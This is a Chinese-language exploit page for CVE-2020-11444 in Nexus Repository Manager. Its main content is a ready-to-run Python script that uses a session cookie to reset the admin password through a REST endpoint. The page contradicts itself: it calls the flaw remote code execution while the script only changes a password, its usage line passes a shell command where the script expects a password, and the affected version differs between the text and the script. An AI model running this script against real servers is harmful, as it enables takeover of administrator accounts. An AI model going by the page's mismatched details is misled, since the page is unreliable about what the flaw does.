（CVE-2020-11444）Nexus Repository Manager 远程代码执行漏洞
===========================================================

一、漏洞简介
------------

该漏洞源于不正确的访问控制。攻击者可借助特制的请求利用该漏洞绕过访问限制。

二、漏洞影响
------------

Nexus Repository Manager 3.x版本至3.21.2版本

三、复现过程
------------

    cve-2020-11444_exp.py
    python3 cve-2020-11444_exp.py http://www.0-sec.org:8081 "sessionID" "touch /tmp/233"
    #!/usr/bin/python3
    # -*- coding:utf-8 -*-
    # author:zhzyker
    # from:https://github.com/zhzyker/exphub

    import sys
    import requests

    if len(sys.argv)!=4:
        print('+-----------------------------------------------------------------------------------------------+')
        print('+ DES: by zhzyker as https://github.com/zhzyker/exphub                                          +')
        print('+      CVE-2020-11444 Nexus 3 Unauthorized Vuln (change admin password                          +')
        print('+-----------------------------------------------------------------------------------------------+')
        print('+ USE: python3 <filename> <url> <session> <password>                                            +')
        print('+ EXP: python3 cve-2020-11444_exp.py http://ip:8081 6c012a5e-88d9-4f96-a05f-3790294dc49a 123456 +')
        print('+ VER: Nexus Repository Manager 3.x OSS / Pro <= 3.21.1                                         +')
        print('+-----------------------------------------------------------------------------------------------+')
        sys.exit(0)

    url = sys.argv[1]
    vuln_url = url + "/service/rest/beta/security/users/admin/change-password"
    session = sys.argv[2]
    password = sys.argv[3]

    headers = {
        'accept': "application/json",
        'User-Agent': "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36",
        'NX-ANTI-CSRF-TOKEN': "0.6080434247960143",
        'Content-Type': "text/plain",
        'Origin': "http://127.0.0.1:8081",
        'Cookie': "NX-ANTI-CSRF-TOKEN=0.6080434247960143; NXSESSIONID="+session+""
    }
    data = """%s""" % password

    r = requests.request('PUT', url=vuln_url, headers=headers, data=data)
    if r.status_code == 204:
        print ("[+] Passowrd Change Success")
        print ("[+] " + url)
        print ("[+] Username:admin Passowrd:"+password+"")
    else:
        print ("[-] SessionID Not available")
        print ("[-] Target Not CVE-2020-11444 Vuln Good Luck")
        sys.exit(0)

参考链接
--------

> https://github.com/zhzyker/exphub/blob/master/nexus/cve-2020-11444\_exp.py